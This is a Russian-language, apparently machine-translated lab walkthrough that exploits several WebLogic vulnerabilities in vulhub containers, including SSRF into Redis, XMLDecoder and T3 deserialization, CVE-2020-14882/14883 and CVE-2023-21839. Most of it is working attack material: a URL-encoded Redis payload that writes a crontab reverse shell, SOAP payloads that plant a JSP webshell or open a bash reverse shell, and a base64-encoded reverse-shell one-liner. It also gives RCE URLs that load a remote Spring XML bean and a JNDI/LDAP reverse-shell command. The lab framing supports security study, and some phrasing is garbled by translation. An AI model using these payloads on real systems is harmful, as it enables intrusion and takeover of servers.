Введение. Эту уязвимость можно использовать для отправки произвольных HTTP-запросов, а затем атаковать уязвимые компоненты, такие как redis и fastcgi, во внутренней сети.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Запуск среды
доступhttp://110.41.41.14:7001/uddiexplorer/,Вход в систему не требуется
Тестирование уязвимостей SSRF
URL-адрес уязвимости — http://110.41.41.14:7001/uddiexplorer/SearchPublicRegistries.jsp, а поле параметра уязвимости — оператор.
Мы используем BurpSuite для тестирования этой уязвимости и доступа к локальному порту 7001. Если порт доступен, будет сообщено о следующей ошибке.
Когда мы обращаемся к несуществующему порту, возвращается сообщение об ошибке «Не удалось подключиться».
Возвращенное сообщение об ошибке отличается. Вы можете определить статус интрасети
Внедряйте заголовки HTTP и используйте Redis для восстановления оболочки.
Weblogic может вводить символы новой строки через %0a%d, а служба redis также использует символы новой строки для разделения каждой команды. Поэтому мы можем использовать этот SSRF для атаки на сервер Redis в интрасети и использовать getshell для записи журналов.
Как показано ниже: Сообщение об ошибке при доступе к IP-адресу интрасети содержит следующую информацию, что означает, что соединение установлено.
Отправьте следующую команду redis, чтобы записать команду оболочки восстановления в журнал.
set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
http%3a%2f%2f172.18.0.2%3a6379%2ftest%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f110.41.41.14%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaaa
Уведомление:
Необходимо указать IP-адрес получателя оболочки и руководить кодировкой URL-адреса.
Символ новой строки“\r\n”,Это "%0D%0A",Поэтому нам нужно добавить символ новой строки в конце, чтобы гарантировать, что формат файла плана задач не будет нарушен.
копировать
Мониторинг ЧПУ успешно восстанавливает оболочку
/etc/crontab Это точно
/etc/cron.d/* Запишите любой файл в этот каталог. Эффект тот же, что и у crontab, и формат должен быть таким же, как у /etc/crontab. Используя этот каталог, оболочку можно запустить, не перезаписывая другие файлы.
/var/spool/cron/root Файл cron пользователя root в системе Centos.
Файл /var/spool/cron/crontabs/root cron для пользователя root в системе Debian
Введение
Компонент безопасности WLS компании Weblogic предоставляет услуги веб-сервиса внешнему миру. XMLDecoder используется для анализа XML-данных, передаваемых пользователем. В процессе анализа возникает уязвимость десериализации, позволяющая выполнять произвольные команды.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Посетите http://110.41.41.14:7001/wls-wsat/CoordinatorPortType. Появится следующее сообщение, указывающее, что среда успешно запущена.
Проверяем, может ли веб-шелл успешно писать
Войдите в докер-контейнер, чтобы проверить успешную запись.
Напишите в веб-шелле, путь — /bea_wls_internal/test.jsp, обратите внимание, что поле типа содержимого заголовка запроса изменяется на тип text/xml.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string><![CDATA[<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]></string>
</void>
<void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
копировать
Браузер обращается к веб-оболочке и успешно выполняет команду.
Написать оболочку отскока
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
копировать
мониторинг vps успешно получает оболочку
Введение
Эта уязвимость срабатывает через протокол t3, который может привести к тому, что неавторизованные пользователи смогут выполнять произвольные команды на удаленном сервере. Протокол T3 — это просто протокол быстрой передачи.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Повторение уязвимости
Для повторения уязвимости необходимо загрузить скрипты ysoserial и Exploit.py. Мы используем ysoserial, чтобы открыть службу JRMP.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 'mkdir /tmp/test'
Чтобы использовать инструмент, перейдите по следующей ссылке. http://ytming.cn/index.php/2024/03/10/использование инструмента ysoserial/
копировать
Запустить скрипт эксплойта
python /root/44553.py 110.41.41.14 7001 ysoserial.jar 110.41.41.14 2333 JRMPClient
Значения параметров следующие: язык путь к сценарию Целевой IP целевой порт локальный путь ysSerial IP-адрес последовательной службы серийный сервисный порт имя службы прослушивания ysSerial
Этот скрипт лучше всего запускать в среде Python2.,Должно быть закодировано для Python3 иначе, чем для Python2.,вызывать проблемы
копировать
Как показано ниже, успешное рукопожатие указывает на успешное выполнение сценария.
Как показано ниже, введите docker, чтобы просмотреть успешно созданный каталог.
наконец
Я хочу попробовать, смогу ли я успешно восстановить снаряд, но не знаю, почему его невозможно воспроизвести. Если вам интересно, вы можете прийти и попробовать сами.
Это должна быть функция языка Java, и символы перенаправления не могут существовать, поэтому нам нужно использовать кодировку, чтобы обойти ее.
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuNDEuMTQvMjEgMD4mMQ==}|{base64,-d}|{bash,-i}
копировать
Введение
На тестовой странице веб-службы Weblogic существует уязвимость, связанная с загрузкой произвольных файлов. Тестовая страница веб-службы по умолчанию не включена в «производственном режиме», поэтому эта уязвимость имеет определенные ограничения.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Повторение уязвимости
Введите эту команду, чтобы просмотреть пароль пользователя weblogic. Пароль является случайным. Для просмотра пароля используйте docker.
доступhttp://110.41.41.14/consoleВведите имя пользователя и пароль в интерфейсе, чтобы войти в интерфейс, показанный ниже, для загрузки.WEBтестовая страница
Посетите http://110.41.41.14:7001/ws_utc/config.do Замените поле параметра Work Home Dir следующим путем /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle. веб-сервисы wls.ws-testclient-app-wls/4mcj4y/war/css. Просто нажмите «Отправить»
Нажмите «Безопасность» — «Добавить» — введите все, что хотите. Файл — это файл сценария, который вы хотите загрузить.
Откройте захват пакетов Burp и получите доступ к http://110.41.41.14:7001/ws_utc/css/config/keystore/1709900051479_10.jsp через timestamp_filename.jsp
Чтобы получить доступ к браузеру, введите команду, которую необходимо выполнить для успешного доступа к нему.
Эта операция загрузки файла относительно проста, но обязательным условием является то, что вам необходимо знать пароль фонового администратора.
Введение
Этот рецидив представляет собой комбинацию двух уязвимостей, приводящих к удаленному выполнению команд, а именно CVE-2020-14882 и CVE-2020-14883.
CVE-2020-14882 позволяет неавторизованным пользователям обходить проверку разрешений консоли управления на доступ к серверной части, а CVE-2020-14883 позволяет любому пользователю на внутренней стороне выполнять произвольные команды через протокол HTTP. Используя цепочку эксплойтов, состоящую из этих двух уязвимостей, команды могут выполняться от имени любого неавторизованного пользователя на удаленном сервере Weblogic посредством запроса GET.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Повторение уязвимости
Доступ по пути /console/css/%252e%252e%252fconsole.portal напрямую обходит страницу входа. Однако, если вы внимательно выясните или выполните операции со страницей в фоновом режиме, вы обнаружите, что многие функции или разрешения недоступны. недостаточны.
Из вышеизложенного видно, что уязвимость не представляет опасности. В настоящее время необходимо использовать вторую уязвимость CVE-2020-14883. Существует два способа эксплуатации этой уязвимости. Один из них — через com.tangosol.coherence.mvel2. .sh.ShellSession, а другой — через com.tangosol.coherence.mvel2.sh.ShellSession com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext.
Вы можете использовать первый метод для выполнения команд, напрямую обращаясь к следующему URL-адресу:
http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
Войдите в докер, и вы обнаружите, что файл был успешно создан.
Однако первый метод эксплуатации можно использовать только в Weblogic 12.2.1 и выше, поскольку класс com.tangosol.coherence.mvel2.sh.ShellSession не существует в версии 10.3.6.
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext — это более распространенный метод уничтожения, который использовался в CVE-2019-2725 и является общим для всех версий Weblogic.
Затем, чтобы использовать этот метод, вам сначала необходимо создать XML-файл и сохранить его на сервере, к которому имеет доступ weblogic, например http://110.41.41.14/rce.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
копировать
Наш VPS напрямую использует Python для создания простого http-сервиса.
Затем по следующему URL-адресу weblogic может загрузить этот XML-файл и выполнить команды из XML-файла.
http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://110.41.41.14:888/rce.xml")
Файл успешно создан
Этот метод требует, чтобы weblogic успешно получил доступ к созданному нами вредоносному URL-адресу, поэтому условия использования ограничены.
Введение
CVE-2023-21839 позволяет удаленным пользователям выполнять операции поиска JNDI через IIOP/T3 без авторизации, что может привести к уязвимостям RCE, если версия JDK слишком низкая или гаджет (javaSerializedData) существует локально.
уязвимость среды
https://github.com/vulhub/vulhub
Стартовая среда
docker-compose up -d
Начните следующим образом
Повторение уязвимости
https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
Приведенный выше URL-адрес представляет собой инструмент, необходимый для повторения уязвимости. Этот инструмент требует использования версии JDK8.
Выполнить пакет jar с помощью Java
На DNS-запрос успешно ответили, что указывает на существование уязвимости.
Отскок снаряда
Сначала вам нужно использовать JNDIExploit-1.4-SNAPSHOT.jar для запуска службы ldap.
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 110.41.41.14
NC для мониторинга
nc -lp 8888
Выполните следующую команду в существующей версии JDK8.
java -jar Weblogic-CVE-2023-21839.jar 110.41.41.14:7001 ldap://110.41.41.14:1389/Basic/ReverseShell/110.41.41.14/8888
Вернитесь в оболочку успешно